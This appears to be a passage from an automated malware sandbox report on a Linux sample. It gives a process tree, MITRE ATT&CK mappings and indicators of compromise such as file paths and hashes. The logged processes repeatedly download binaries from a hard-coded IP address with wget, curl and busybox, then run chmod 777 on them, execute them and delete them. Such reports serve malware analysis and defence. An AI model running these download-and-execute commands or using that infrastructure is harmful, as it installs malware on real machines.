  ./0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  - Executes dropped EXE
  PID:950
- /bin/rm
  rm 0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
  2⤵
  PID:951
- /usr/bin/wget
  wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:952
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:953
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:954
- /bin/chmod
  chmod 777 cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - File and Directory Permissions Modification
  PID:955
- /tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  ./cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  - Executes dropped EXE
  PID:956
- /bin/rm
  rm cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
  2⤵
  PID:957
- /usr/bin/wget
  wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:958
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:959
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:960
- /bin/chmod
  chmod 777 NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - File and Directory Permissions Modification
  PID:961
- /tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  ./NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  - Executes dropped EXE
  PID:962
- /bin/rm
  rm NQz82sR6ddsToi2pFiFezOzjEkexCppY66
  2⤵
  PID:963
- /usr/bin/wget
  wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:964
- /usr/bin/curl
  curl -O http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:965
- /bin/busybox
  /bin/busybox wget http://87.120.84.230/bins/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:966
- /bin/chmod
  chmod 777 bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - File and Directory Permissions Modification
  PID:967
- /tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  ./bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  - Executes dropped EXE
  PID:968
- /bin/rm
  rm bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
  2⤵
  PID:969

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

LiiVzYOhazmna2819ZunGu4484qbQ8jNBf

Path /tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	726	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	734	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	740	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	757	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	783	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	806	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	812	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	822	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	845	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	860	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	866	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	872	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	878	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	884	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq	890	txCQ5AKtjIJU3A0C5ZuohufkxKwefVwQnq
/tmp/r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ	896	r76JU2Y7pHf5s6sn15hzMoM0fq9pYml0dQ
/tmp/0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E	902	0YW82bo8BsmCZRwyR0OLTlJsBgZpOZXl4E
/tmp/UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5	908	UGcFDB1WYeM09fqAbcdIgvKizuVs3HQds5
/tmp/Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV	914	Dsrxfc0d0xHfcu2QBTP3p874jYwV469hsV
/tmp/HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk	920	HkTZPyRpDgIdySY7hIhBj8He4Hy3upLaZk
/tmp/zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr	926	zAsHCoiWDMu5eCD5kmpv2E7aUVpTYkxTnr
/tmp/tqC5BQPam0WWliODijAusr9OpfheTgPgTM	932	tqC5BQPam0WWliODijAusr9OpfheTgPgTM
/tmp/LiiVzYOhazmna2819ZunGu4484qbQ8jNBf	938	LiiVzYOhazmna2819ZunGu4484qbQ8jNBf
/tmp/j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r	944	j7uPiwgAuOiRt34cRQvKe2nsdiCez4mx1r
/tmp/0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD	950	0nZmf0RJ5O7HxEVFOweKcuJL65m9V90eMD
/tmp/cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi	956	cTJLFNF1ONTK2trQECgt3qRpSE0ByUv4Pi
/tmp/NQz82sR6ddsToi2pFiFezOzjEkexCppY66	962	NQz82sR6ddsToi2pFiFezOzjEkexCppY66
/tmp/bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL	968	bZ5MeSiMWxWEh5wmS66yAkwvA3wtfHh1SL